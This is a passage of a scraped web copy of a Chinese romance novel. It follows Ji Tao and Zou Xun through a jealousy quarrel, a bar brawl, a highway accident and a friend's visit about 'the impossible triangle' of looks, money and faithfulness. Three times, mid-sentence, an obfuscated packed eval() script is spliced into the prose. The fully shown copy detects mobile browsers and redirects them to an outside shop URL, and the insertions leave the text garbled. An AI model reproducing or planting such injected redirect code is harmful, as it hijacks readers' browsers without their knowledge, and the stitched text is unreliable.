—窦意鸣,就上回咱们见过,当时他妈妈也在——正好窦意鸣给我打电话,我告诉他,他就帮了忙。”季桃有点不自在。她并非想刻意对邹巡隐瞒,只是觉得过去就算了,又不是什么值得说的事。 邹巡说:“你别太放心上,袁……楚欣,是叫这个吧?她的话我听明白了,其实和谁赞助关系不大,真的轮不上她。不过你那个朋友人不错,回头咱们可以请他吃顿饭,谢谢他。” “那倒没必要。”季桃突然一阵羞愧,急忙问,“袁楚欣怎么又提到廖澍晴,和她还有关系?” “不知道。” “你和她们是不是之前就认识?” “不认识,反正我不认识。她们要认识我,就是在上机课上。” 袁楚欣学金融的,没有上机课,看来邹巡确实不认识她。 “那廖澍晴怎么看着和你那么熟啊。你们光在课上见过?没单独说过话?” “说过。”邹巡竟然如此答,“但是一点儿都不熟,我对她稍微有点印象,不记得名字,那种。” “你们说什么?” “她说她是从台北来的交换生,我就记得这个,其它忘了。” “那你对她说了什么?” “我说我有女朋友了。” 季桃一下子站起来。 “你能不能一口气把话说完?搞半天她是跟你表白——有多少人跟你表白过啊,你说你‘稍微有点儿印象’?” “不是,要有人表白我肯定告诉你,多自豪的事啊。但……”邹巡有点哭笑不得的样子,回想片刻说,“说实话我那天都没太听清,在学校里头,周围不少人,挺吵,当时我好像准备去上课,要么有个别的事情,正急着呢,她在那儿叽叽咕咕搞不清说些什么,我听着不大对,也不知道她是表白还是想让我给她作业打分高点儿,反正都不可能,我心想算了,她觉得我有病就有病吧,我就说我有女朋友了,赶紧走了。——就这些,这回都说完了。” “你连她名字都没记住?” “没记住。” “那你在心里想她的时候把她叫什么?台北女生?” “我为什么在心里想她?没想过。”邹巡坦然地说。 季桃不信。追过她的男生,但凡稍有突出之处,她还是有印象的,甚至时不时能想起几回,譬如说窦意鸣。追邹巡的女生嘛,确实不多,因为他太冷,有点拒人千里的感觉,但正因如此,才显出这个廖澍晴厉害,反正,其段位至少相当于窦意鸣吧,甚至可能比窦意鸣高很多。 季桃一凛,她可是差一点点就准备和窦意鸣谈了呀。 “至少人家挺勇敢的,别人不敢的事情她敢。”季桃冷声说。 “那算什么勇敢?”邹巡皱起眉,“还好意思呢,作业都做成那样了,要不然我怎么怀疑她目的是想让我通融一下。” 季桃想,如果刚认识时,自己对邹巡表白,他会怎么想。不过,她好像真不敢。 她还是怏怏不乐。 “你都能记住和她关系好的女生名字。” “你说闻笛吗。我不知道她们关系好,我记住闻笛是别的原因——本科生有几个同学代码挺漂亮,他们名字我都记得很清楚:张翼,齐元敏,雒少斌,闻笛也是一个。要记住一个人,他总得有点儿能给人留下印象的东西吧。” “假如我也上编程,你会不会嫌我代码写得太烂?”季桃问。 邹巡笑了:“会嫌,如果你确实写得烂。但我也还是会记住你。” “我有什么好让人记住的,代码太烂?” “你这么聪明,要是学编程,代码肯定最漂亮。而且你还有其它能让人记住的,我第一次看见你,你当时的样子,后来你说的每一句话,我都记得,印象可太深了。” 真的,刚才怎么会怀疑邹巡,假设他可能碰上别人?先碰见谁也不行,只能是她季桃。 季桃的情绪从谷底倏地冲上来了。不过她脸上半点不显,嘴里还哼一声:“别说那么好听了,第一面能看出什么呀,不就是那种喜欢嘛?” “哪种?” “想睡。” 14. 穷逼 “对,包含那种喜欢。”邹巡爽快地承认,“但那是第二次见你,第一次见时真没那么想。” 这就行了。一个二十五六的大男生,能指望他多么纯情?太纯情反而不正常了,至少他不是因为见色起意才想着见她第二次,季桃觉得可以接受。 “你记得我对你说的第一句话是什么?给你一次机会,不许说错。” 邹巡看着季桃:“我站在你们宿舍楼底下,等着你出来。好容易你下楼了,本来是要叫你的,但是一见了你,突然紧张得说不出话,我从来没那么紧张过,结果你就走开了。 “我有点儿慌,不知道该怎么办,但又想既然都看见了,还能当面错过? “我不记得我自己乱七八糟说了些什么。你对我说的第一句话是你没接到韩老师电话,问我等了多久。 “我等了好久好久,但是我不想先打电话。等多久都没关系,只要我们能像现在这样。” 我不会写代码,也没什么特别的才华,除了长相,你还能看出什么呢?季桃想问。可她想,一开始,邹巡打动她的不也是他的外表?迎着邹巡的眼睛看进去,一时间她又觉得似乎不是。 季桃承认,很多时候,才气比相貌更能吸引人。但邹巡身上吸引她的东西,仿佛比才华还更要深刻些。她说不清那是什么,非要说的话,大概类似于“精气神”? 邹巡看着她,目光专注、深邃。“你和任何人都不一样,我说不好,反正,就是记住了。” “现在高兴了没有?”他问。 季桃目不转睛看着他。忽然,她笑了:“你别得意,谁记住谁还不一定呢。其实我胆子真挺大,你知不知道当时我想什么?我想,要是你不来勾搭我,总有一天我要去勾搭你的。” “我一向知道,你最胆大。”穿条大裤衩、裸着上身、身材如雕塑般让人瞄一眼就脸红的邹巡伸出双臂,握住季桃的腰,向她眼睛里问,“你打算怎么勾搭我?” 季桃收了笑,走开几步。她抬起脸,挑衅地望着邹巡,直直盯着他,猛然走到他身前,一手抓住他的裤腰,用力朝自己一拽,另一只手擦着他脸颊,半拍半抚了一下,目光射进他的眼睛:“你等谁?——想好了再回答。” 邹巡没有回答,也没有想,他一把按住季桃,把她按到墙上,低头吻她。 . 这一天好像被拽长了,季桃和邹巡慢悠悠逛遍了古镇每一个景点,买了一堆明知过几天就想扔掉的纪念品,走累了就坐下喝茶、吃东西,晚上七点多,他们又去了酒吧街。 这回选了镇上最大的音乐酒吧,刚进门,不期又撞见袁楚欣三人。季桃现在已经完全不介意袁楚欣和廖澍晴了,高高兴兴对她们招了招手。闻笛立即也扬起手,廖澍晴脸有点红,微微笑了笑,袁楚欣意思意思抬了抬头。 季桃和邹巡在另一边坐下。乐台上有个歌手一曲接一曲唱民谣,间或也有大胆的男生或女生上去抱着吉他唱几句,说:“这首歌送给某某人。”季桃半听不听的,一边刷手机,一边随音乐轻轻摇晃脑袋。 音响忽然尖锐地鸣叫起来,季桃看过去,坐在台上的是个戴眼镜的男生,他慌里慌张要放下吉他,刚站起来,脚下被电线一绊,另一个人冲上台和他扭在一起。季桃还没看清是谁,一只酒瓶从台上飞落在地,伴着女生的尖叫。季桃小腿上一凉,忙起身低头看,邹巡拿手在她腿上抹了抹。“没事,不是玻璃渣。”季桃说。 又有两三人冲上乐台,四周尖叫不断。邹巡搂住季桃要走,廖澍晴和闻笛冲过来,喊叫说:“是袁楚欣男朋友。快去拉开他,他们有好几个人!” 季桃这才看出刚才和眼镜男生扭在一起的是袁楚欣男朋友,这时他们已被人拉开了,还伸着脑袋在吵,忽地袁楚欣男友挣开,一转身,捡起吉他朝另几个男生猛抡过去。 嚷嚷声、尖叫声、东西被砸的声音同时响起,乱作一团。没人说得清过程,就见袁楚欣男友揪住了眼镜男生衣领,右手中握着一只酒瓶。他一面揪着眼睛男生往墙边退,一面挥舞酒瓶,可能是这个缘故,暂时还没人敢上去劝架。 邹巡皱皱眉。“站远点。”他对季桃说,上前拉住两人肩膀把他们拽开。 “别打了,你女朋友叫你呢。”邹巡仍然按着袁楚欣男朋友肩膀,不让他动。 袁楚欣男朋友一愣。“你是哪个?”他眼睛瞪老大,瞪着邹巡。一耸肩膀,没耸开,脸色变得相当难看,左手朝袁楚欣那边一挥,嘴里喊道,“你这又勾引上一个?” 季桃气得冲上前:“你眼睛看清楚点,这是我男朋友。” 袁楚欣男朋友定睛看了看季桃,笑着说:“你也来了呀。”转头向邹巡道,“关你屁事。” 邹巡松开手,搂住季桃:“我是懒得管,但你们在这儿,吵到我女朋友了。” 眼镜男生和他的两名同伴站在一起,举着手机威胁:“我们报警了。” “尽管报,警察来了看谁吃亏。”袁楚欣男友岔开腿站着,手背抹一把鼻血,仰着脑袋,用下巴指几人,眯眼说,“你们没动手?多打一,我受伤了。” 那几个学生模样的愣一下,还要说话,邹巡对他们摆摆手:“没事了,走吧。” 酒吧的员工不干了,嚷着要报警,指着四下里的狼藉:“东西谁赔?” 邹巡劝说:“算了算了,都是学生。”向袁楚欣男友胳膊上瞧一眼——那么大一块大金表在那儿晃着呢——笑道,“你快赔了走吧,又不是赔不起。” “关你屁事,找打是不是?”袁楚欣男朋友脸上更加难看,指着邹巡向旁边嚷嚷说,“让他赔,看他赔不赔得起!” 邹巡朝他跨一步,笑道:“还可以添你一个,看我赔不赔得起?” 袁楚欣男朋友细眯的眼睛缝里闪过一丝惶恐,不过也就一转瞬,他直着脖子说:“你来呀!” “崔喆!”袁楚欣喊了一声。 她男友转过脸不看邹巡,嘴里嘟哝:“穷逼,要钱没有,要命一条,谁跟他拼命?老子的命还值钱呢。”又冲袁楚欣喊,“拿我手机来。” 袁楚欣哭着跑来给他手机,抱着他继续哭。她男朋友却笑开了,仿佛刚才全是闹着玩,边笑边向酒吧的人说:“算老子头上,多少?少蒙我。” “确定你赔?咱们一样样算。”那个歌手说。 袁楚欣男朋友一脸不屑的笑。 “走吧。”邹巡拉过季桃。 廖澍晴和闻笛还呆愣愣站在一旁,走之前,季桃问:“怎么回事?” 闻笛小声答:“她男朋友刚才没过来,我们和那几个男生说了一会儿话,后来她男朋友来了,那个男生上去唱歌,袁楚欣开玩笑说是给她唱的,她男朋友就真生气了。” “你们要走了?”廖澍晴快要哭出来一般,想挡住邹巡,“万一他们吵架又打起来怎么办?”大概是为赔金多少争执,袁楚欣男朋友又骂上了。 “打不起来,他最多敢欺负几个学生。”邹巡冷冷说,揽着季桃出了门。 到底是扫了兴,他们懒得再找另外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“等等,我给你唱个歌。你准备许愿啊。”唱得却不是生日歌,而是“Row,row,rowyourboat……”听到一连串的“merrily”,季桃的快乐乘了四倍。 “你唱得这么好,平时怎么不唱?” “我不爱唱歌。不过等以后你去威尼斯,划船的小子肯定要对你唱。那不行,我得做第一个。” 这是最最开心的一个生日,开心到季桃甚至想不出一个认真的愿望。她吹灭蜡烛,挖一勺蛋糕塞进嘴里。“好吃……给你留一半。” “不行,我现在要吃,你来喂我。” “无赖。”季桃站起来,摇摇晃晃走到邹巡旁边。 吃完蛋糕,发现好像真的迷路了。猛然,季桃看见前方有个女人站在岸边。 “我们可以跟她问问路。” “不用问了,就是她的船。” “你怎么借到的?” “你想想,什么东西,世上很少有人能拒绝?” “你的魅力?” 邹巡用力压低笑声:“对,我施展了一下我的个人魅力。” 跳上岸时,季桃想,假如他真的在今夜求婚,天知道她可能真的没法拒绝。 幸好他没有。 15. 高速公路 第三天上午又懒洋洋游荡一会儿,吃过午饭便准备返程。季桃舍不得那把芍药花,邹巡便搞来只铁皮洒水壶,灌了半壶水,把花插在里面,放在后排座椅下。 上高速后驶了约莫五十分钟,远远看见一辆SUV靠边停着,转瞬到了跟前,发现前面还有辆悍马,车和防护栏之间闪过几个身影,季桃一眼瞥见内中一个细高挑影子,惊呼:“好像是袁楚欣廖澍晴她们。” “这些人不要命了。”邹巡靠边在应急车道停下,向后面看看,“行,快下车,小心。” 季桃连忙下车走去护栏边,邹巡一下抱起她,抱到防护栏之外,接着自己也跳出来。靠护栏栽着一排小树,旁边有一段斜坡,两个人跳到坡下,再往回走。 走了一百米,到了事故现场。看样子是两辆车追尾了,后面一辆车头撞得稀烂,万幸的是,可能因为两辆车体型相近,都皮实,没有人受伤。 邹巡向几个人招呼说:“别站那儿,快点出来。” 几个女生花容失色,显然吓呆了,不论别人说什么都会照办,一听这话,廖澍晴和闻笛立即爬上护栏,廖澍晴穿着裙子,不大方便,季桃上去扶了她一把。袁楚欣愣愣看了一会儿,自己也往外爬,只有她男朋友还站在护栏内,嘴里骂骂咧咧不休,无人理他。 邹巡问后车司机:“报警没,多久了?” “报了,十分钟。”那人答。 邹巡便对闻笛说:“在这儿等着吧,最多半小时交警能来,定完责你们就能走了。千万别站里面,太危险。” 廖澍晴白着一张脸,瞅瞅邹巡,张了张口又没说出话,转头看季桃,眼里好像有泪一般,目光颤颤的,她旁边的闻笛则是无精打采垂着头。季桃有点儿不忍心,而且天空阴沉,看着随时可能下雨。她问她们:“要不要我们捎你们回去?” 廖澍晴眼睛一下子睁圆了,对袁楚欣说:“要不然——我们跟学姐回去?”她朝袁楚欣男朋友瞄一眼,小声说,“你别和他不高兴了。” “行,你们走吧。”袁楚欣语调平板,像是要压住发火,但她转头对她男朋友喊时却带了点哭腔,“你过来。她们先走,你总能把我带回去吧?不然我也搭别人车回去。” 总算听进了话,她男友立即向这边走了几步。他的两只眼一直斜瞟着邹巡,有一瞬季桃还以为他想要打架。站在栏杆边,他掏出根烟叼上,歪着嘴对袁楚欣说:“当然跟着我走,车又不是不能开。哪能让你上穷逼的车,知道把你卖哪儿去?” 袁楚欣瞬间显出尴尬不已的神情。 邹巡只说:“走吧,你们的东西带上。” 袁楚欣向她男友示意:“在车上,你去拿。” 她男友点了烟,吸两口,晃着肩膀走到悍马后面,打开后备箱,站那儿不动了。 “格子和蓝的那俩。”袁楚欣说。 两个包被拎出来,粗暴地向外一甩,邹巡一手接住一个,用眼睛朝季桃示意,扭身便向回走。 几人走回停车的地方。邹巡走在最前面,先去放包。季桃刚提起裙子,邹巡走过来,一把抱起她,廖澍晴和闻笛互相扶着也翻过了栏杆。 “快上车。”邹巡说。 大家都不吭声,迅速钻进车里,等重新回到快车道,廖澍晴抱歉地说:“对不起,把花碰了。” “没关系,鞋没湿吧?花给我,我放前面。”季桃回头说。 “不要紧,我扶着,不会洒出水。”廖澍晴把花拿起来,放在她和闻笛之间。 “七月了竟然还有芍药啊。”闻笛小声嘀咕。 静默一会儿,廖澍晴突然说:“谢谢学长和学姐搭我们。” “没事。”邹巡简单答道。 “刚才怎么发生事故了?”季桃问。 “可能是不小心吧,开太快……又刹车。”廖澍晴吞吞吐吐。 闻笛说:“其实是袁楚欣和她男朋友吵架,一上车就吵,吵了一路,我们俩都不敢说话。后来袁楚欣说要下车,她男朋友准备在路边停,才被后车撞了。” “不会吧,为昨天的事?” “不是。”廖澍晴说,“吵了两天了,昨天早上——前天晚上袁楚欣就不高兴,她男朋友刚一来就说无聊,非要呆在旅店玩游戏,不陪她。” “她男朋友怎么这么……”季桃头一回找不到词来评价一个人,“袁楚欣怎么看上他的?” 廖澍晴没回答,却说:“她男朋友刚追上袁楚欣的时候,有一次吵架还打她,肩膀都打青一块。” “我看他有点暴力,还打女的啊!”闻笛惊呼,“这还不赶紧分?” “因为她男朋友家里有钱,当时送了袁楚欣好贵的东西作赔礼,就没分。”廖澍晴说,又补一句,“后来好像没再打过了。” 不行,这些富二代男的真不行,季桃简直想去劝劝袁楚欣。她那个男友尤其恶劣、烦人,连累得窦意鸣都在季桃心中掉了几个档次。 “他们那车真的还能开?他们自己开回去没事吧?”季桃有点担心了。 “应该没事吧。”廖澍晴答得不大肯定,“一会儿回去我问问袁楚欣。” 说完这几句话,大家都有点心神不安,一路沉默着。下了高速,廖澍晴才轻快地说:“我问了,袁楚欣说她和男朋友和好了,正往回走呢。” 一进市区,雨点儿落下来了,眨眼间越下越大。廖澍晴说:“邹学长,请你在方便的地方停下就好,我和闻笛可以叫计程车。” “到学校吧。”邹巡说,“车门上有伞,你们拿一把。” “谢谢,我们拿一把伞就行,不用到学校,已经很麻烦你们了。” “不麻烦。”季桃说,“我们住得离学校不远。哪里对你们更方便?” 两人都表示到学校最方便。 “邹学长最近去学校吗,把伞还给你。”廖澍晴问。 “最近不去。不用还,伞拿着吧。” “学姐和学长是在这边买的房子吗?”廖澍晴又问。 “不是,是租的。”季桃答。 学校门口停下,邹巡撑着伞下车给廖澍晴二人取背包,上车后,他问:“饿了没,想吃什么?” “你又高兴了?” “我什么时候不高兴了?” “刚才你一直不说话。” “得开车呀。再说在女生跟前我本来就没话——你别又说我装,真没装。” 季桃的心情突然晴了,不愿再想那些事。“我想吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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不过就是上班有点儿远,开车要半个多小时。邹巡本来想另找房子,但季桃喜欢现在这间,于是就继续住着了。每天早上,邹巡先送她上班,下午下班,又接上她一起回家。偶尔邹巡事忙,季桃就自己打车回去。 八月初的一个周六,邹巡又被公司叫去加班,季桃突然接到好友谭一伊的电话:“我又过来啦!” 谭一伊也是建筑系的,比季桃高两级,毕业后去了D市一家文化公司,有时来C市出差,见过邹巡,并且差不多知晓季桃整个恋爱过程。 问明只有季桃一个人在家,谭一伊说:“你别出来了,我去你家,介不介意?” 当然不介意啦,一小时后,季桃在小区门口接到了谭一伊。 不顾天热,谭一伊先一把将季桃抱了个满怀,放开后说:“没变,手感还是这么好。” 季桃也开心地瞧着朋友:“这么漂亮,来宣战啊。” “不精心打扮,哪敢来见你?”谭一伊笑道,“结果还是输了。你看你恋爱谈得整个人发光,穿条破烂背心,就有这种风采。” “什么呀,我也精心打扮的。这条破烂背心一千多,还是打了折的。” “真的呀,怪不得,那我就认了,失敬失敬。”谭一伊继续惊叹地打量季桃,目光停流在她脖子上,“好漂亮的项链啊,别是好几万的吧?” 16. 不可能三角 季桃偷笑,“哪有?邹巡买的,两三千。” 谭一伊凑到季桃脖子上细看了看:“真好看。我都要喜欢粉红色了。邹巡有点儿眼光嘛。生日礼物?” “嗯,去年我生日,他刚好出差,回来给我带的。” 谭一伊点点头:“邹巡还挺会。大部分男生给女朋友送礼物,要么稀奇古怪,要么土得要死,要么才几块钱,还不如不送呢。” 季桃笑着,把吊坠握在手心中。 去年差不多就是这个时候,邹巡出差回来,因为错过了她的生日,向她道歉,其实有什么关系嘛。 “对了,我给你买了个东西。”邹巡说,在他的程序员双肩包里掏了掏,摸出一个深蓝丝绒小盒,打开来,拿出一根项链——银光闪闪的细链子,挂着一粒水晶桃心,粉红色的——递给她。 她立即想起,第一次和邹巡吃烤鱼,她穿着件粉红短袖,她买了两杯奶茶,上面是粉红的雪顶。 邹巡不会误以为她喜欢粉红色吧? 不过,当这条项链像一滴水盛在她的手心里,她认为自己的确喜欢粉红色。它如梦似幻,是玫瑰翅膀,是美丽星星(她听邹巡说过,宇宙中有一颗叫做GJ504b的粉红色行星),是闻起来就甜的一粒糖。 桃心不大——大了就太假,就显廉价,就不好看了。粉红色桃心,外面围一圈细细的水钻,整个是大拇指甲盖大小,正正好;背面也是桃心形状,镂空的,圆鼓鼓的很饱满。少女心,一颗圆鼓鼓、热情、蓬勃的少女心。 邹巡紧张地望着她:“喜不喜欢?” “喜欢!好漂亮!在哪里买的?” 邹巡不大自在地摸摸额头:“就是在大街上,随便走,看到一家店就进去了。”他好像松了一口气,“你喜欢就好,没买过这种东西,又是第一次给你生日礼物,怕你不高兴。” 哪里,高兴死了。一定是个有设计的品牌,说起来是很普通的样子,可是和她见过的所有桃心都不一样。想到邹巡在柜员小姐的注目下仔细挑选——不,他肯定是红着脸,大致扫一眼,看见这个,赶快指了说:“要它。”她的嘴角怎么也不能忍住不翘起来,她问:“多少钱?很贵吧。” 邹巡想了想:“三千多,还好。” 真不便宜呀。的确,链子上有铂金标识,不可能便宜。当然,价钱肯定不在邹巡考虑之内,他连上万的电脑都给她买过。但这份礼物完全超越了金钱的衡量范围——无论它更便宜还是更贵,都是她收到过的最美的礼物。 “好漂亮,我喜欢。”她说。 邹巡的脸真的有点红了。 她bia唧在他脸上亲了湿漉漉的一口。“我特别喜欢。你给我戴上。” “想什么呢,嘴巴都翘了。”谭一伊在季桃背上一拍,“又开始散发恋爱的酸臭味。我就不该来找你。” 两个人嘻嘻哈哈上了楼,进屋一瞧,谭一伊先问:“房租多少?” “四千五。”季桃说。 “这么便宜,房东做慈善啊。”谭一伊惊呼。 四千五一个月,按面积和地段来说,其实还算正常,但按这间房子的装修和家具家电配置,确实太便宜了。季桃给谭一伊解释:“房主本来准备结婚,结果出国去了。这儿没电梯,老年人不方便,年轻人吧,三口住有点小,刚上班的,像我们这种吧,又没钱,所以挺不好往外租的。就这层,隔壁那间一直空着。邹巡都在这儿住两年了,你看他挺爱惜东西,像我们这么可靠的房客也不好找。” “也是。”谭一伊说,“我要是房东,也乐意把房子租给漂亮的小鸳鸯。你们分摊不,还是全是邹巡出?” “房租、水电都是他出。”季桃有点不好意思,“他说要是我出钱,他会被人笑死,我说谁笑你,你不会别拿出去说呀?他说:‘你也觉得没法说是吧?反正我不可能答应。’——他就是特别大男子主义。” “你看,又来了,两句话还没说就憋不住要得瑟。”谭一伊取笑她。 季桃满不在乎:“得瑟怎么了,我都快憋死了,谁让你来了呢?” 两个人关系就是好到了这种程度,可以肆无忌惮向对方倾诉,也可以肆无忌惮向对方炫耀。 中午了,谭一伊说天热不出去了,叫外卖吧,季桃事先料到,早已订了小区里一位“小饭桌”蒋阿姨的菜。 蒋阿姨不是开那种领学生回家吃饭的“小饭桌”,而是给小区里几户老人做饭,在自家做好,再送到各家去。邹巡不知从哪里打听到她,把自己也加到了“食客”名单上。 起初季桃还怀疑,给老人做的饭,能有什么好吃?吃过两回又怀疑蒋阿姨原先在哪里当过大厨,南北菜肴她样样来得,价钱比外卖还稍微便宜点儿。 这时,谭一伊一边嗦田螺,一边羡慕道:“你们小日子过得真不错啊。邹巡也不让你做饭干家务,是吧?你把大男子主义美化了,真正的大男子主义,是让女的伺候他。” “他是不相信我的厨艺。”季桃笑着说。其实不是,她初中时就学会了做菜,水平还不错。但邹巡说下班后还要做饭,太累了,若只为周末做一两顿,要备锅碗瓢盆,备油盐酱醋,费这些麻烦似乎不值得。想想也对,何况眼下毫无经济压力,伙食上那一点儿钱根本不在话下,她便心安理得地“犯懒”。至于其它家务,有机器帮忙,平时两人分着做些,每月再请保洁彻底收拾一次,更不成问题。 这个“大男子”身上确实挑不出毛病,反正,谭一伊听了,感慨不已,饭后,两人懒在沙发上,她长叹一声:“哎,你要是想结婚,真的可以考虑邹巡。” 季桃明白叹气的意思,谭一伊很清楚,她是不会结婚的。 季桃笑道:“你不会打算结婚了吧,你要叛变了?” “我倒是想结,现在连个男朋友都没有。”谭一伊动作夸张地双手一摊,又竖起一根手指,强调说,“一样!我已经把条件降低到只要求一样了,就这还找不到。” 所谓的条件,是季桃和谭一伊曾经讨论过、希望男朋友具备的几样基本素质:帅、有钱、专一。 帅。这其实并非冷静得出的要求,是荷尔蒙作怪,是情难自禁。真的,谁能忍住不爱帅哥?古往今来,容貌都是打动人心的第一等利器。 有钱。没人不爱钱,这倒不是说要拜倒在对方的财富面前,季桃和谭一伊不是那么肤浅的女生,但正因不那么肤浅,她们反而识得出有钱人的魅力——一个人能够拥有金钱,确实是种魅力。 专一。简直不该作为一个条件——人能够不呼吸不心跳而活着吗,那男朋友怎么能不专一而存在呢?可谁想到,这确实变成个稀缺的品质了,她们只好把它列为条件。 总之,相貌、财富、真心,三者几乎同样难得,也几乎同等重要。 可惜,这是男人的不可能三角,就是说,三者不可能同时存在于一个人身上。能得一,就算很不错了;得二,称得上理想男人;得三?那是空想。所以,季桃和谭一伊敢于放出狂言:假如有人三样占全,那么,这个男人,我嫁。 什么叫三样占全,也不妨空想一下:黑凛凛的夜里,黑色披风在男人身后火焰般翻卷,他的脸像月光一样美,他的眼睛深深望着你,只看着你一人,将你拥入怀中,抱上他黑色的骏马,或者抱入他亮闪闪的汽车,驰向雄伟的城堡……当然,只有电影里才敢那么演,还得是黄金时期的好莱坞,现在的电影都不造梦了,更别说现实。现实中,最多最多只能三选二,就看你如何取舍。 季桃从来没放松要求,她就想要“理想”男人。她的“理想”是:青春年少时期,绝不能委屈自己,第一个男朋友要选帅和专一,等经历过帅哥后,再考虑金钱,但无论如何,专一不能少。 “你选的哪一样?”她问谭一伊。 “什么呀,我根本没选。我是说,只要有一样就行,碰上哪样是哪样。” “一样都碰不上?你们那儿是不是男的太少了?” 谭一伊眼睛都亮了,坐直说:“碰上了,好几个呢。”紧接着让人抽了魂似的又瘫倒,“全是骗子。”到底是话剧社团的,两个人说话动不动就像飙台词,音调、表情、肢体一样不缺,浑然天成的舞台味。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936311|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季桃完全懂得谭一伊的愤懑。男的嘛,条件不够,小弟弟又闲不住,只好靠骗了。相貌一般装不来,见个面立马识破。多金也不太好装,年薪三十万或许勉强能装装年入一百,可年薪不足十万的假充年薪三十,他也得舍得下本儿不是?硬件不成,大部分男人便致力于打造深情人设,但女的也不傻呀,用嘴说说的“专一”哪里骗得过聪慧伶俐、头脑冷静、自强自爱的谭一伊和季桃同学? 谭一伊把那些骗子骂了一遍,又说:“其实要说还行的,真有几个,但人家也有要求。”谭一伊冷哼,“我算看透了,男的不管自己满足哪一样,对女的要求都是同一样——看脸。” “看脸怕什么,你脸多好看啊。”季桃伸手,轻浮浪子般,在谭一伊脸上一摸。 谭一伊趁势抓住她胳膊摸一把:“得了,你别安慰我了,我有数。再说,不光看脸,还看胸看腰看腿呢。不过我现在理解他们了,真理解了,确实好看呀。不行,你再让我摸摸,这谁能扛得住。你说你两个在一起多久才睡?邹巡好强的定力,做什么都会成功的。” 季桃笑着打谭一伊,两个人闹成一团。其实,季桃认为,在恋人面前,多多少少得端着点,或者说,得“演一演”,演一个比自己更好的人。真正原形毕露,笑出猪叫,笑得露出二十八颗牙,那还是得和好闺蜜在一起。 再坐好时,谭一伊说:“你别怪我啊,我觉得你跟邹巡确实不错,你真不考虑一下?” 季桃微微摆一摆头,小声说:“他其实不是过日子那种。” “当然不是,你们俩看着就是仙男仙女,谁是过日子的啊?”谭一伊看着季桃,停一会儿又说,“其实也不是所有人都只看脸,邹巡对你应该是认真的,他没问过你?” “问什么?” “将来怎么办。” “该怎么办怎么办。他信‘千金散尽还复来’那一套,女朋友同理,将来分手,他可以另找别人嘛。”季桃虽这么说,其实并不完全这样想。 她问过邹巡:“你以前没有女朋友?” “没有。”邹巡说。 “少骗人了,怎么会?” 季桃当然不信。她太知道漂亮的人会碰见什么了,J大先前有位校草,长相和邹巡比起来得打个八折,其它就差得更多,可人家从没断过女友,校内的校外的,正牌的候补的,间隔一米排队,能围操场四个圈。 邹巡看她一眼,说:“我阈值高。” 那就不能怪她了。要不是碰见她,他现在说不定还是单身一人呢。 而且,她对邹巡有过“提示”。 当然,不能说“我是不婚主义。”太自作多情,谁提“结婚”二字了?当然,也不能说“咱们谈两年就分手。”太难听太伤人了,明知会分手,何必谈下去?不过话又说回来,人人都终将一死,可谁整天想着,没到那天的时候还是好好活呀。反正,不论时间长短,她季桃每分每秒都是认真的,投入的,不是闹着玩的。 她说的是:“如果将来有一天,你不想和我在一起了,一定要直接告诉我。不管什么原因,我都不怪你。” 邹巡干脆地答:“没有那么一天。” “你没好好听,我是说如果,假设!”季桃一双眼睛执着地、非要问出个究竟地望着他,“哪有绝对的事情。如果有一天……我直接告诉你,你会怪我?” 少停,邹巡答:“怎么怪你?那该怪我自己,留不住你是我没本事。不怪你。” 这是他的“风度”使然,他只好这么答。其实季桃不介意他小气一些,怪怪她。不过重点并非考察态度,而是要把话灌进他心里。 他肯定是记住“如果”了。季桃有时想,大概就是由此,邹巡才生出很强的危机感,在想象中捏造了一个有钱的情敌,和对方比赛似的给她花钱。不过,换个角度看,也算激励他上进——多挣钱,总归不能算坏事。 总之,碰上她是邹巡千载难逢的运气。何况还有神明奖金,权可充作“损失费”——等过上一年半载,真到了必须分开之时,把那些钱对半一分,失恋的伤痛差不多能抚平了吧。 17. 陪酒 季桃抬头,和谭一伊玩笑说:“你担心他不如担心我,就算分手,我季桃的前男友身份一亮出来,就是婚恋市场上的金字招牌,他绝对不吃亏。” “除了我自己,我还用担心谁?”谭一伊拍季桃一下,“我是想,邹巡将来肯定会有钱,你不如……” 不等她说完季桃便叫道:“这么说将来他肯定要变心,那更不行了。” “你先听我说。”谭一伊气得又打她,“我意思是,也用不着特别有钱,差不多就够了。” “你的‘差不多’是多少,我听听。” 谭一伊想了想,犹犹豫豫说:“一千万现金?” 季桃大声笑了:“你听听,有几个人能拿出一千万?哪怕工资再高,赚够一千万得多少年啊。”就算幸运得到了神明的奖金,也得两个人的感情经过足足三年考验,才能得到一千万。 “我是说没有不动产嘛。”谭一伊补充。 也对,好地段一套说得过去的房子,差不多得几百万,这还只是“说得过去”而已,要是“理想型”,还不得几千万上亿呀——嗯,大概不能叫理想型,快成空想了。 谭一伊又笑:“不是我想说这么高。自己挣,一百万就够了不起了,可是,去大马路上看看商店橱窗,没有一千万身家,真是穷人。” 两个人都想起季桃老早前讲的那个故事,齐声一阵笑。故事里的游戏她们两个也玩过,现在,季桃又问:“如果你有了一千万,你要干什么?” “自己开公司,炒了我们老板。”谭一伊毫不犹豫地回答。 “你看,你不认真玩。要是不拿来赚更多,而是不费力气地花掉,纯享受,你想要什么?” 谭一伊表示想不出,又问季桃。 